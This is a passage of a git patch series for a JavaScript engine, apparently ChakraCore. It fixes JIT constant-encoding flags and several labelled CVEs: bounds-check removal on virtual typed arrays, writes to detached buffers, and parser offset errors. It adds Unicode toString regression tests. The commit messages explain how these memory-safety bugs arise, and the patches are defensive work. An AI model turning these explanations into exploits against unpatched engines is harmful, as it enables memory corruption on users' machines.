@@ -17456,7 +17455,7 @@ GlobOpt::OptArraySrc(IR::Instr * *const instrRef) { IR::Opnd* lowerBound = baseOwnerIndir->GetIndexOpnd() ? static_cast(baseOwnerIndir->GetIndexOpnd()) - : IR::IntConstOpnd::New(baseOwnerIndir->GetOffset(), TyInt32, instr->m_func, true); + : IR::IntConstOpnd::New(baseOwnerIndir->GetOffset(), TyInt32, instr->m_func); lowerBound->SetIsJITOptimizedReg(true); IR::Opnd* upperBound = IR::RegOpnd::New(headSegmentLengthSym, headSegmentLengthSym->GetType(), instr->m_func); upperBound->SetIsJITOptimizedReg(true); @@ -21406,7 +21405,7 @@ GlobOpt::GenerateInductionVariableChangeForMemOp(Loop *loop, byte unroll, IR::In { sizeOpnd = IR::RegOpnd::New(TyUint32, this->func); - IR::Opnd *unrollOpnd = IR::IntConstOpnd::New(unroll, type, localFunc, true); + IR::Opnd *unrollOpnd = IR::IntConstOpnd::New(unroll, type, localFunc); InsertInstr(IR::Instr::New(Js::OpCode::Mul_I4, sizeOpnd, @@ -21419,7 +21418,7 @@ GlobOpt::GenerateInductionVariableChangeForMemOp(Loop *loop, byte unroll, IR::In else { uint size = (loopCount->LoopCountMinusOneConstantValue() + 1) * unroll; - sizeOpnd = IR::IntConstOpnd::New(size, IRType::TyUint32, localFunc, true); + sizeOpnd = IR::IntConstOpnd::New(size, IRType::TyUint32, localFunc); } loop->memOpInfo->inductionVariableOpndPerUnrollMap->Add(unroll, sizeOpnd); return sizeOpnd; diff --git a/lib/Backend/IRBuilder.cpp b/lib/Backend/IRBuilder.cpp index 1d8430ad250..3ccba54427f 100644 --- a/lib/Backend/IRBuilder.cpp +++ b/lib/Backend/IRBuilder.cpp @@ -4879,14 +4879,14 @@ IRBuilder::BuildAuxiliary(Js::OpCode newOpcode, uint32 offset) // The property ID array needs to be both relocatable and available (so we can // get the slot capacity), so we need to just pass the offset to lower and let // lower take it from there... - srcOpnd = IR::IntConstOpnd::New(auxInsn->Offset, TyUint32, m_func, true); + srcOpnd = IR::IntConstOpnd::New(auxInsn->Offset, TyUint32, m_func); dstOpnd = this->BuildDstOpnd(dstRegSlot); dstOpnd->SetValueType(ValueType::GetObject(ObjectType::UninitializedObject)); instr = IR::Instr::New(newOpcode, dstOpnd, srcOpnd, m_func); // Because we're going to be making decisions based off the value, we have to defer // this until we get to lowering. - instr->SetSrc2(IR::IntConstOpnd::New(literalObjectId, TyUint32, m_func, true)); + instr->SetSrc2(IR::IntConstOpnd::New(literalObjectId, TyUint32, m_func)); if (dstOpnd->m_sym->m_isSingleDef) { diff --git a/lib/Backend/Lower.cpp b/lib/Backend/Lower.cpp index 3c63d166b08..3a178252ef6 100644 --- a/lib/Backend/Lower.cpp +++ b/lib/Backend/Lower.cpp @@ -12858,7 +12858,7 @@ void Lowerer::LowerBoundCheck(IR::Instr *const instr) true, addResultOpnd, rightOpnd, - offsetOpnd ? offsetOpnd->UseWithNewType(TyInt32, func) : IR::IntConstOpnd::New(offset, TyInt32, func, true), + offsetOpnd ? offsetOpnd->UseWithNewType(TyInt32, func) : IR::IntConstOpnd::New(offset, TyInt32, func), insertBeforeInstr); InsertBranch(LowererMD::MDOverflowBranchOpcode, bailOutLabel, insertBeforeInstr); @@ -12870,7 +12870,7 @@ void Lowerer::LowerBoundCheck(IR::Instr *const instr) // $bailOut: if(!rightOpnd) { - rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func, true); + rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func); } InsertCompareBranch(leftOpnd, rightOpnd, compareOpCode, doUnsignedCompare, skipBailOutLabel, insertBeforeInstr); } @@ -20571,7 +20571,7 @@ bool Lowerer::GenerateFastEqBoolInt(IR::Instr * instr, bool *pNeedHelper) // If it's not zero, then it's either 1, in which case it's true, or it's something else, in which // case the two will compare as inequal InsertCompareBranch( - IR::IntConstOpnd::New((((IntConstType)1) << Js::VarTag_Shift) + Js::AtomTag, IRType::TyVar, this->m_func), + IR::IntConstOpnd::New((((IntConstType)1) << Js::VarTag_Shift) + Js::AtomTag, IRType::TyVar, this->m_func, true), srcInt->AsRegOpnd(), Js::OpCode::BrNeq_A, isBranchNotCompare ? inequalResultTarget : forceInequal, // in the case of branching, we can go straight to the inequal target; for compares, we need to load the value @@ -23891,7 +23891,7 @@ void Lowerer::GenerateSingleCharStrJumpTableLookup(IR::Instr * instr) // CMP charOpnd, lastCaseIndex - baseCaseIndex // JA defaultLabel - InsertCompareBranch(charOpnd, IR::IntConstOpnd::New(multiBrInstr->m_lastCaseValue - multiBrInstr->m_baseCaseValue, TyUint32, func, true), + InsertCompareBranch(charOpnd, IR::IntConstOpnd::New(multiBrInstr->m_lastCaseValue - multiBrInstr->m_baseCaseValue, TyUint32, func), Js::OpCode::BrGt_A, true, defaultLabelInstr, instr); instr->UnlinkSrc1(); diff --git a/lib/Backend/LowerMDShared.cpp b/lib/Backend/LowerMDShared.cpp index 1b98af73360..7fa1d649475 100644 --- a/lib/Backend/LowerMDShared.cpp +++ b/lib/Backend/LowerMDShared.cpp @@ -1257,7 +1257,7 @@ void LowererMD::ChangeToShift(IR::Instr *const instr, const bool needFlags) } } -void LowererMD::ChangeToMul(IR::Instr *const instr, bool hasOverflowCheck) +void LowererMD::ChangeToIMul(IR::Instr *const instr, bool hasOverflowCheck) { // If non-32 bit overflow check is needed, we have to use the IMUL form. if (hasOverflowCheck && !instr->ShouldCheckFor32BitOverflow() && instr->ShouldCheckForNon32BitOverflow()) @@ -1272,8 +1272,29 @@ void LowererMD::ChangeToMul(IR::Instr *const instr, bool hasOverflowCheck) { // MOV reg, imm temp2 = IR::RegOpnd::New(TyInt32, instr->m_func); + + IR::Opnd * src2 = instr->GetSrc2(); + bool dontEncode = false; + if (src2->IsHelperCallOpnd()) + { + dontEncode = true; + } + else if (src2->IsIntConstOpnd() || src2->IsAddrOpnd()) + { + dontEncode = src2->IsIntConstOpnd() ? src2->AsIntConstOpnd()->m_dontEncode : src2->AsAddrOpnd()->m_dontEncode; + } + else if (src2->IsInt64ConstOpnd()) + { + dontEncode = false; + } + else + { + AssertMsg(false, "Unexpected immediate opnd"); + throw Js::OperationAbortedException(); + } + instr->InsertBefore(IR::Instr::New(Js::OpCode::MOV, temp2, - IR::IntConstOpnd::New((IntConstType)instr->GetSrc2()->GetImmediateValue(instr->m_func), TyInt32, instr->m_func, true), + IR::IntConstOpnd::New((IntConstType)instr->GetSrc2()->GetImmediateValue(instr->m_func), TyInt32, instr->m_func, dontEncode), instr->m_func)); } // eax = IMUL eax, reg @@ -2061,7 +2082,7 @@ void LowererMD::LegalizeSrc(IR::Instr *const instr, IR::Opnd *src, const uint fo if (!instr->isInlineeEntryInstr) { Assert(forms & L_Reg); - IR::IntConstOpnd * newIntOpnd = IR::IntConstOpnd::New(intOpnd->GetValue(), intOpnd->GetType(), instr->m_func, true); + IR::IntConstOpnd * newIntOpnd = intOpnd->Copy(instr->m_func)->AsIntConstOpnd(); IR::IndirOpnd * indirOpnd = instr->m_func->GetTopFunc()->GetConstantAddressIndirOpnd(intOpnd->GetValue(), newIntOpnd, IR::AddrOpndKindConstantAddress, TyMachPtr, Js::OpCode::MOV); if (HoistLargeConstant(indirOpnd, src, instr)) { @@ -2125,7 +2146,7 @@ void LowererMD::LegalizeSrc(IR::Instr *const instr, IR::Opnd *src, const uint fo Assert(!instr->isInlineeEntryInstr); Assert(forms & L_Reg); // TODO: michhol, remove cast after making m_address intptr - IR::AddrOpnd * newAddrOpnd = IR::AddrOpnd::New(addrOpnd->m_address, addrOpnd->GetAddrOpndKind(), instr->m_func, true); + IR::AddrOpnd * newAddrOpnd = addrOpnd->Copy(instr->m_func)->AsAddrOpnd(); IR::IndirOpnd * indirOpnd = instr->m_func->GetTopFunc()->GetConstantAddressIndirOpnd((intptr_t)addrOpnd->m_address, newAddrOpnd, addrOpnd->GetAddrOpndKind(), TyMachPtr, Js::OpCode::MOV); if (HoistLargeConstant(indirOpnd, src, instr)) { @@ -7236,7 +7257,7 @@ LowererMD::LowerInt4MulWithBailOut( // Lower the instruction if (!simplifiedMul) { - LowererMD::ChangeToMul(instr, needsOverflowCheck); + LowererMD::ChangeToIMul(instr, needsOverflowCheck); } const auto insertBeforeInstr = checkForNegativeZeroLabel ? checkForNegativeZeroLabel : bailOutLabel; diff --git a/lib/Backend/LowerMDShared.h b/lib/Backend/LowerMDShared.h index c38ad4d5c07..cb8662a364f 100644 --- a/lib/Backend/LowerMDShared.h +++ b/lib/Backend/LowerMDShared.h @@ -50,7 +50,7 @@ class LowererMD static void ChangeToAdd(IR::Instr *const instr, const bool needFlags); static void ChangeToSub(IR::Instr *const instr, const bool needFlags); static void ChangeToShift(IR::Instr *const instr, const bool needFlags); - static void ChangeToMul(IR::Instr *const instr, const bool hasOverflowCheck = false); + static void ChangeToIMul(IR::Instr *const instr, const bool hasOverflowCheck = false); static const uint16 GetFormalParamOffset(); static const Js::OpCode MDUncondBranchOpcode; static const Js::OpCode MDExtend32Opcode; From a1345ad48064921e8eb45fa0297ce405a7df14d3 Mon Sep 17 00:00:00 2001 From: Rajat Dua Date: Mon, 8 May 2017 16:43:11 -0700 Subject: [PATCH 07/12] [CVE-2017-0234] Too aggressive bound check removal Don't eliminate bounds checks on virtual typed arrays if we can't guarantee that the accesses will be within 4Gb --- lib/Backend/GlobOpt.cpp | 34 +++++++++++++++++++++++++++++++--- 1 file changed, 31 insertions(+), 3 deletions(-) diff --git a/lib/Backend/GlobOpt.cpp b/lib/Backend/GlobOpt.cpp index 8e44e84c3e3..8cdf876811a 100644 --- a/lib/Backend/GlobOpt.cpp +++ b/lib/Backend/GlobOpt.cpp @@ -16338,9 +16338,37 @@ GlobOpt::OptArraySrc(IR::Instr * *const instrRef) ) ) { - eliminatedLowerBoundCheck = true; - eliminatedUpperBoundCheck = true; - canBailOutOnArrayAccessHelperCall = false; + // Unless we're in asm.js (where it is guaranteed that virtual typed array accesses cannot read/write beyond 4GB), + // check the range of the index to make sure we won't access beyond the reserved memory beforing eliminating bounds + // checks in jitted code. + if (!GetIsAsmJSFunc()) + { + IR::RegOpnd * idxOpnd = baseOwnerIndir->GetIndexOpnd(); + if (idxOpnd) + { + StackSym * idxSym = idxOpnd->m_sym->IsTypeSpec() ? idxOpnd->m_sym->GetVarEquivSym(nullptr) : idxOpnd->m_sym; + Value * idxValue = FindValue(idxSym); + IntConstantBounds idxConstantBounds; + if (idxValue && idxValue->GetValueInfo()->TryGetIntConstantBounds(&idxConstantBounds)) + { + BYTE indirScale = Lowerer::GetArrayIndirScale(baseValueType); + int32 upperBound = idxConstantBounds.UpperBound(); + int32 lowerBound = idxConstantBounds.LowerBound(); + if (lowerBound >= 0 && ((static_cast(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH)) + { + eliminatedLowerBoundCheck = true; + eliminatedUpperBoundCheck = true; + canBailOutOnArrayAccessHelperCall = false; + } + } + } + } + else + { + eliminatedLowerBoundCheck = true; + eliminatedUpperBoundCheck = true; + canBailOutOnArrayAccessHelperCall = false; + } } } From 1ae7e3ce95515758b4cd7215cb4e48539a0f4031 Mon Sep 17 00:00:00 2001 From: Rajat Dua Date: Mon, 8 May 2017 16:57:23 -0700 Subject: [PATCH 08/12] [CVE-2017-0236] Bug with array buffer detach Change the vtable of virtual typed arrays to regular typed arrays upon array buffer detach to prevent writes to detached buffer in the jitted code. --- lib/Runtime/Library/ArrayBuffer.cpp | 145 +++++++++++++++++++++++++++- lib/Runtime/Library/ArrayBuffer.h | 2 +- lib/Runtime/Library/DataView.cpp | 8 ++ lib/Runtime/Library/DataView.h | 1 + lib/Runtime/Library/TypedArray.cpp | 8 ++ lib/Runtime/Library/TypedArray.h | 1 + 6 files changed, 159 insertions(+), 6 deletions(-) diff --git a/lib/Runtime/Library/ArrayBuffer.cpp b/lib/Runtime/Library/ArrayBuffer.cpp index 1dbf195c55f..aed7980559f 100644 --- a/lib/Runtime/Library/ArrayBuffer.cpp +++ b/lib/Runtime/Library/ArrayBuffer.cpp @@ -38,7 +38,7 @@ namespace Js return toReturn; } - void ArrayBuffer::ClearParentsLength(ArrayBufferParent* parent) + void ArrayBuffer::DetachBufferFromParent(ArrayBufferParent* parent) { if (parent == nullptr) { @@ -48,23 +48,158 @@ namespace Js switch (JavascriptOperators::GetTypeId(parent)) { case TypeIds_Int8Array: + if (Int8VirtualArray::Is(parent)) + { + if (VirtualTableInfo::HasVirtualTable(parent)) + { + VirtualTableInfo::SetVirtualTable(parent); + } + else + { + Assert(VirtualTableInfo>::HasVirtualTable(parent)); + VirtualTableInfo>::SetVirtualTable(parent); + } + } + TypedArrayBase::FromVar(parent)->ClearLengthAndBufferOnDetach(); + break; + case TypeIds_Uint8Array: + if (Uint8VirtualArray::Is(parent)) + { + if (VirtualTableInfo::HasVirtualTable(parent)) + { + VirtualTableInfo::SetVirtualTable(parent); + } + else + { + Assert(VirtualTableInfo>::HasVirtualTable(parent)); + VirtualTableInfo>::SetVirtualTable(parent); + } + } + TypedArrayBase::FromVar(parent)->ClearLengthAndBufferOnDetach(); + break; + case TypeIds_Uint8ClampedArray: + if (Uint8ClampedVirtualArray::Is(parent)) + { + if (VirtualTableInfo::HasVirtualTable(parent)) + { + VirtualTableInfo::SetVirtualTable(parent); + } + else + { + Assert(VirtualTableInfo>::HasVirtualTable(parent)); + VirtualTableInfo>::SetVirtualTable(parent); + } + } + TypedArrayBase::FromVar(parent)->ClearLengthAndBufferOnDetach(); + break; + case TypeIds_Int16Array: + if (Int16VirtualArray::Is(parent)) + { + if (VirtualTableInfo::HasVirtualTable(parent)) + { + VirtualTableInfo::SetVirtualTable(parent); + } + else + { + Assert(VirtualTableInfo>::HasVirtualTable(parent)); + VirtualTableInfo>::SetVirtualTable(parent); + } + } + TypedArrayBase::FromVar(parent)->ClearLengthAndBufferOnDetach(); + break; + case TypeIds_Uint16Array: + if (Uint16VirtualArray::Is(parent)) + { + if (VirtualTableInfo::HasVirtualTable(parent)) + { + VirtualTableInfo::SetVirtualTable(parent); + } + else + { + Assert(VirtualTableInfo>::HasVirtualTable(parent)); + VirtualTableInfo>::SetVirtualTable(parent); + } + } + TypedArrayBase::FromVar(parent)->ClearLengthAndBufferOnDetach(); + break; + case TypeIds_Int32Array: + if (Int32VirtualArray::Is(parent)) + { + if (VirtualTableInfo::HasVirtualTable(parent)) + { + VirtualTableInfo::SetVirtualTable(parent); + } + else + { + Assert(VirtualTableInfo>::HasVirtualTable(parent)); + VirtualTableInfo>::SetVirtualTable(parent); + } + } + TypedArrayBase::FromVar(parent)->ClearLengthAndBufferOnDetach(); + break; + case TypeIds_Uint32Array: + if (Uint32VirtualArray::Is(parent)) + { + if (VirtualTableInfo::HasVirtualTable(parent)) + { + VirtualTableInfo::SetVirtualTable(parent); + } + else + { + Assert(VirtualTableInfo>::HasVirtualTable(parent)); + VirtualTableInfo>::SetVirtualTable(parent); + } + } + TypedArrayBase::FromVar(parent)->ClearLengthAndBufferOnDetach(); + break; + case TypeIds_Float32Array: + if (Float32VirtualArray::Is(parent)) + { + if (VirtualTableInfo::HasVirtualTable(parent)) + { + VirtualTableInfo::SetVirtualTable(parent); + } + else + { + Assert(VirtualTableInfo>::HasVirtualTable(parent)); + VirtualTableInfo>::SetVirtualTable(parent); + } + } + TypedArrayBase::FromVar(parent)->ClearLengthAndBufferOnDetach(); + break; + case TypeIds_Float64Array: + if (Float64VirtualArray::Is(parent)) + { + if (VirtualTableInfo::HasVirtualTable(parent)) + { + VirtualTableInfo::SetVirtualTable(parent); + } + else + { + Assert(VirtualTableInfo>::HasVirtualTable(parent)); + VirtualTableInfo>::SetVirtualTable(parent); + } + } + TypedArrayBase::FromVar(parent)->ClearLengthAndBufferOnDetach(); + break; + case TypeIds_Int64Array: case TypeIds_Uint64Array: case TypeIds_CharArray: case TypeIds_BoolArray: - TypedArrayBase::FromVar(parent)->length = 0; + TypedArrayBase::FromVar(parent)->ClearLengthAndBufferOnDetach(); break; case TypeIds_DataView: - DataView::FromVar(parent)->length = 0; + DataView::FromVar(parent)->ClearLengthAndBufferOnDetach(); break; default: @@ -90,14 +225,14 @@ namespace Js if (this->primaryParent != nullptr) { - this->ClearParentsLength(this->primaryParent->Get()); + this->DetachBufferFromParent(this->primaryParent->Get()); } if (this->otherParents != nullptr) { this->otherParents->Map([&](RecyclerWeakReference* item) { - this->ClearParentsLength(item->Get()); + this->DetachBufferFromParent(item->Get()); }); } diff --git a/lib/Runtime/Library/ArrayBuffer.h b/lib/Runtime/Library/ArrayBuffer.h index 04d03e6384d..70bf4845b50 100644 --- a/lib/Runtime/Library/ArrayBuffer.h +++ b/lib/Runtime/Library/ArrayBuffer.h @@ -50,7 +50,7 @@ namespace Js DEFINE_VTABLE_CTOR_ABSTRACT(ArrayBuffer, ArrayBufferBase); #define MAX_ASMJS_ARRAYBUFFER_LENGTH 0x100000000 //4GB private: - void ClearParentsLength(ArrayBufferParent* parent); + void DetachBufferFromParent(ArrayBufferParent* parent); public: template class ArrayBufferDetachedState : public ArrayBufferDetachedStateBase diff --git a/lib/Runtime/Library/DataView.cpp b/lib/Runtime/Library/DataView.cpp index e16286e8c7e..ba2c0b7a088 100644 --- a/lib/Runtime/Library/DataView.cpp +++ b/lib/Runtime/Library/DataView.cpp @@ -666,6 +666,14 @@ namespace Js return FALSE; } + void DataView::ClearLengthAndBufferOnDetach() + { + AssertMsg(this->GetArrayBuffer()->IsDetached(), "Array buffer should be detached if we're calling this method"); + + this->length = 0; + this->buffer = nullptr; + } + #ifdef _M_ARM // Provide template specialization (only) for memory access at unaligned float/double address which causes data alignment exception otherwise. template<> diff --git a/lib/Runtime/Library/DataView.h b/lib/Runtime/Library/DataView.h index c7b6fab50e2..711cafd3253 100644 --- a/lib/Runtime/Library/DataView.h +++ b/lib/Runtime/Library/DataView.h @@ -50,6 +50,7 @@ namespace Js } uint32 GetByteOffset() const { return byteOffset; } + void ClearLengthAndBufferOnDetach(); static Var NewInstance(RecyclableObject* function, CallInfo callInfo, ...); static Var EntryGetInt8(RecyclableObject* function, CallInfo callInfo, ...); diff --git a/lib/Runtime/Library/TypedArray.cpp b/lib/Runtime/Library/TypedArray.cpp index 6e7ec0efbd9..951df220cf7 100644 --- a/lib/Runtime/Library/TypedArray.cpp +++ b/lib/Runtime/Library/TypedArray.cpp @@ -1117,6 +1117,14 @@ namespace Js } + void TypedArrayBase::ClearLengthAndBufferOnDetach() + { + AssertMsg(IsDetachedBuffer(), "Array buffer should be detached if we're calling this method"); + + this->length = 0; + this->buffer = nullptr; + } + Var TypedArrayBase::EntryGetterBuffer(RecyclableObject* function, CallInfo callInfo, ...) { PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault); diff --git a/lib/Runtime/Library/TypedArray.h b/lib/Runtime/Library/TypedArray.h index ac767cd48cf..966c9e0cbe6 100644 --- a/lib/Runtime/Library/TypedArray.h +++ b/lib/Runtime/Library/TypedArray.h @@ -157,6 +157,7 @@ namespace Js uint32 GetBytesPerElement() const { return BYTES_PER_ELEMENT; } byte* GetByteBuffer() const { return buffer; }; bool IsDetachedBuffer() const { return this->GetArrayBuffer()->IsDetached(); } + void ClearLengthAndBufferOnDetach(); static Var CommonSet(Arguments& args); static Var CommonSubarray(Arguments& args); From f74773f4520adff6b70a7d445417aa9769f61fa6 Mon Sep 17 00:00:00 2001 From: Taylor Woll Date: Thu, 16 Mar 2017 15:40:08 -0700 Subject: [PATCH 09/12] [CVE-2017-0223] Fix right paren location calculation for lambda with assignment expression We don't calculate correct right paren location when a lambda contains an assignment expression where the assignment rhs is wrapped in parens. Due to the incorrect offset, we overwrite the buffer allocated in ScriptFunction::EnsureSourceString when we try to toString the lambda. --- lib/Parser/Parse.cpp | 2 +- test/es6/lambda1.js | 23 +++++++++++++++++++++++ 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/lib/Parser/Parse.cpp b/lib/Parser/Parse.cpp index 9a5d7b9edde..d29ddfebf47 100644 --- a/lib/Parser/Parse.cpp +++ b/lib/Parser/Parse.cpp @@ -8440,7 +8440,7 @@ ParseNodePtr Parser::ParseExpr(int oplMin, { // Parse the operand, make a new node, and look for more IdentToken token; - pnodeT = ParseExpr(opl, NULL, fAllowIn, FALSE, pNameHint, &hintLength, &hintOffset, &token); + pnodeT = ParseExpr(opl, NULL, fAllowIn, FALSE, pNameHint, &hintLength, &hintOffset, &token, false, nullptr, plastRParen); // Detect nested function escapes of the pattern "o.f = function(){...}" or "o[s] = function(){...}". // Doing so in the parser allows us to disable stack-nested-functions in common cases where an escape diff --git a/test/es6/lambda1.js b/test/es6/lambda1.js index e12376bfbe0..3329f4537b1 100644 --- a/test/es6/lambda1.js +++ b/test/es6/lambda1.js @@ -477,6 +477,29 @@ var tests = [ var l = async() => (async() => ('str')); assert.areEqual("async() => (async() => ('str'))", '' + l, "Nested async lambda should be correct"); } + }, + { + name: "Lambda consisting of assignment expression should have correct source string", + body: function () { + var l = () => a = (123) + assert.areEqual('() => a = (123)', '' + l, "Lambda to string should include the parens wrapping the return expression"); + + var l = () => a = (('๏บบ')) + assert.areEqual("() => a = (('๏บบ'))", '' + l, "Multi-byte characters should not break the string"); + + var s = "() => a = ('\u{20ac}')"; + var l = eval(s); + assert.areEqual(s, '' + l, "Unicode byte sequences should not break the string"); + + var l = async() => a = ({}); + assert.areEqual('async() => a = ({})', '' + l, "Async lambda should also be correct"); + + var l = () => a = (() => b = (123)) + assert.areEqual('() => a = (() => b = (123))', '' + l, "Nested lambda to string should be correct"); + + var l = async() => a = (async() => b = ('str')); + assert.areEqual("async() => a = (async() => b = ('str'))", '' + l, "Nested async lambda should be correct"); + } } ]; From 08d35b29d1e9f3de1132a6e02ecc0990fa794420 Mon Sep 17 00:00:00 2001 From: Taylor Woll Date: Thu, 16 Mar 2017 15:25:36 -0700 Subject: [PATCH 10/12] [CVE-2017-0230] Fix incorrect byte offset values for the class constructor parse node If there is a multi-byte character in the source before a class decl, the constructor function created for that class will have incorrect byte offset values. This leads us to truncate the source string buffer when we try to do toString on that class constructor function and accidentally print garbage. Fix is to calculate the byte offsets correctly. --- lib/Parser/Parse.cpp | 9 ++++- lib/Runtime/Library/ScriptFunction.cpp | 9 ++++- test/utf8/bugGH2656.js | 53 ++++++++++++++++++++++++++ test/utf8/rlexe.xml | 6 +++ 4 files changed, 74 insertions(+), 3 deletions(-) create mode 100644 test/utf8/bugGH2656.js diff --git a/lib/Parser/Parse.cpp b/lib/Parser/Parse.cpp index d29ddfebf47..13347608ce4 100644 --- a/lib/Parser/Parse.cpp +++ b/lib/Parser/Parse.cpp @@ -7095,12 +7095,15 @@ ParseNodePtr Parser::ParseClassDecl(BOOL isDeclaration, LPCOLESTR pNameHint, uin ArenaAllocator tempAllocator(_u("ClassMemberNames"), m_nodeAllocator.GetPageAllocator(), Parser::OutOfMemory); + size_t cbMinConstructor = 0; ParseNodePtr pnodeClass = nullptr; if (buildAST) { pnodeClass = CreateNode(knopClassDecl); CHAKRATEL_LANGSTATS_INC_LANGFEATURECOUNT(Class, m_scriptContext); + + cbMinConstructor = m_pscan->IecpMinTok(); } m_pscan->Scan(); @@ -7393,9 +7396,11 @@ ParseNodePtr Parser::ParseClassDecl(BOOL isDeclaration, LPCOLESTR pNameHint, uin } } + size_t cbLimConstructor = 0; if (buildAST) { pnodeClass->ichLim = m_pscan->IchLimTok(); + cbLimConstructor = m_pscan->IecpLimTok(); } if (!hasConstructor) @@ -7430,8 +7435,8 @@ ParseNodePtr Parser::ParseClassDecl(BOOL isDeclaration, LPCOLESTR pNameHint, uin if (buildAST) { - pnodeConstructor->sxFnc.cbMin = pnodeClass->ichMin; - pnodeConstructor->sxFnc.cbLim = pnodeClass->ichLim; + pnodeConstructor->sxFnc.cbMin = cbMinConstructor; + pnodeConstructor->sxFnc.cbLim = cbLimConstructor; pnodeConstructor->ichMin = pnodeClass->ichMin; pnodeConstructor->ichLim = pnodeClass->ichLim; diff --git a/lib/Runtime/Library/ScriptFunction.cpp b/lib/Runtime/Library/ScriptFunction.cpp index e12cc93f99a..1bcd9ae9ecb 100644 --- a/lib/Runtime/Library/ScriptFunction.cpp +++ b/lib/Runtime/Library/ScriptFunction.cpp @@ -484,7 +484,14 @@ namespace Js LPCUTF8 pbStart = pFuncBody->GetSource(_u("ScriptFunction::EnsureSourceString")); BufferStringBuilder builder(cch, scriptContext); utf8::DecodeOptions options = pFuncBody->GetUtf8SourceInfo()->IsCesu8() ? utf8::doAllowThreeByteSurrogates : utf8::doDefault; - utf8::DecodeUnitsInto(builder.DangerousGetWritableBuffer(), pbStart, pbStart + cbLength, options); + size_t decodedCount = utf8::DecodeUnitsInto(builder.DangerousGetWritableBuffer(), pbStart, pbStart + cbLength, options); + + if (decodedCount != cch) + { + AssertMsg(false, "Decoded incorrect number of characters for function body"); + Js::Throw::FatalInternalError(); + } + if (pFuncBody->IsLambda() || isActiveScript || this->GetFunctionInfo()->IsClassConstructor() #ifdef ENABLE_PROJECTION || scriptContext->GetConfig()->IsWinRTEnabled() diff --git a/test/utf8/bugGH2656.js b/test/utf8/bugGH2656.js new file mode 100644 index 00000000000..47537f177a0 --- /dev/null +++ b/test/utf8/bugGH2656.js @@ -0,0 +1,53 @@ +//------------------------------------------------------------------------------------------------------- +// Copyright (C) Microsoft. All rights reserved. +// Licensed under the MIT license. See LICENSE.txt file in the project root for full license information. +//------------------------------------------------------------------------------------------------------- + +WScript.LoadScriptFile("..\\UnitTestFramework\\UnitTestFramework.js"); + +var tests = [ + { + name: "Serialize functions with unicode sequences", + body: function () { + assert.areEqual('function foo() { /* 𢭃 */ }', '' + function foo() { /* 𢭃 */ }, 'Serialized function declaration produces correct string in presense of multi-byte unicode characters'); + assert.areEqual('function 𢭃() { /* 𢭃 */ }', '' + function 𢭃() { /* 𢭃 */ }, 'Serialized function with a unicode identifier'); + assert.areEqual('function 𢭃(ā,食) { /* 𢭃 */ }', '' + function 𢭃(ā,食) { /* 𢭃 */ }, 'Serialized function with a unicode identifier and unicode argument list'); + + assert.areEqual('async function foo() { /* 𢭃 */ }', '' + async function foo() { /* 𢭃 */ }, 'Serialized async function declaration produces correct string in presense of multi-byte unicode characters'); + assert.areEqual('async function 𢭃() { /* 𢭃 */ }', '' + async function 𢭃() { /* 𢭃 */ }, 'Serialized async function with a unicode identifier'); + assert.areEqual('async function 𢭃(ā,食) { /* 𢭃 */ }', '' + async function 𢭃(ā,食) { /* 𢭃 */ }, 'Serialized async function with a unicode identifier and unicode argument list'); + + assert.areEqual('function* foo() { /* 𢭃 */ }', '' + function* foo() { /* 𢭃 */ }, 'Serialized generator function declaration produces correct string in presense of multi-byte unicode characters'); + assert.areEqual('function* 𢭃() { /* 𢭃 */ }', '' + function* 𢭃() { /* 𢭃 */ }, 'Serialized generator function with a unicode identifier'); + assert.areEqual('function* 𢭃(ā,食) { /* 𢭃 */ }', '' + function* 𢭃(ā,食) { /* 𢭃 */ }, 'Serialized generator function with a unicode identifier and unicode argument list'); + + assert.areEqual('() => { /* 𢭃 */ }', '' + (() => { /* 𢭃 */ }), 'Serialized arrow function declaration produces correct string in presense of multi-byte unicode characters'); + assert.areEqual('(ā,食) => { /* 𢭃 */ }', '' + ((ā,食) => { /* 𢭃 */ }), 'Serialized arrow function declaration with a unicode argument list'); + + assert.areEqual('async () => { /* 𢭃 */ }', '' + (async () => { /* 𢭃 */ }), 'Serialized async arrow function declaration produces correct string in presense of multi-byte unicode characters'); + assert.areEqual('async (ā,食) => { /* 𢭃 */ }', '' + (async (ā,食) => { /* 𢭃 */ }), 'Serialized async arrow function declaration with a unicode argument list'); + } + }, + { + name: "Serialize classes with unicode sequences", + body: function () { + assert.areEqual('class 𢭃 { /* 𢭃 */ }', '' + class 𢭃 { /* 𢭃 */ }, 'Serialized class declaration produces correct string in presense of multi-byte unicode characters'); + + class ā { 𢭃(物) { /* 𢭃 */ } static 飲(物) { /* 𢭃 */ } async 知(物) { /* 𢭃 */ } static async 愛(物) { /* 𢭃 */ } *泳(物) { /* 𢭃 */ } static *赤(物) { /* 𢭃 */ } get 青() { /* 𢭃 */ } set 緑(物) { /* 𢭃 */ } } + + assert.areEqual( + 'class ā { 𢭃(物) { /* 𢭃 */ } static 飲(物) { /* 𢭃 */ } async 知(物) { /* 𢭃 */ } static async 愛(物) { /* 𢭃 */ } *泳(物) { /* 𢭃 */ } static *赤(物) { /* 𢭃 */ } get 青() { /* 𢭃 */ } set 緑(物) { /* 𢭃 */ } }', + '' + ā, + 'Serialized class with different types of members'); + + class 食 extends ā { 母(物) { /* 𢭃 */ } static 父(物) { /* 𢭃 */ } async 妹(物) { /* 𢭃 */ } static async 姉(物) { /* 𢭃 */ } *兄(物) { /* 𢭃 */ } static *耳(物) { /* 𢭃 */ } get 明() { /* 𢭃 */ } set 日(物) { /* 𢭃 */ } } + + assert.areEqual( + `class 食 extends ā { 母(物) { /* 𢭃 */ } static 父(物) { /* 𢭃 */ } async 妹(物) { /* 𢭃 */ } static async 姉(物) { /* 𢭃 */ } *兄(物) { /* 𢭃 */ } static *耳(物) { /* 𢭃 */ } get 明() { /* 𢭃 */ } set 日(物) { /* 𢭃 */ } }`, + '' + 食, + 'Serialized class with an extends clause'); + } + }, +]; + +testRunner.runTests(tests, { verbose: WScript.Arguments[0] != "summary" }); diff --git a/test/utf8/rlexe.xml b/test/utf8/rlexe.xml index 498b3d8ad7c..9b9def7ea81 100644 --- a/test/utf8/rlexe.xml +++ b/test/utf8/rlexe.xml @@ -29,4 +29,10 @@ -forceserialized -oopjit- + + + bugGH2656.js + -args summary + + From 436082582395b2d2718eeef2d100915babe91e38 Mon Sep 17 00:00:00 2001 From: Rajat Dua Date: Thu, 11 May 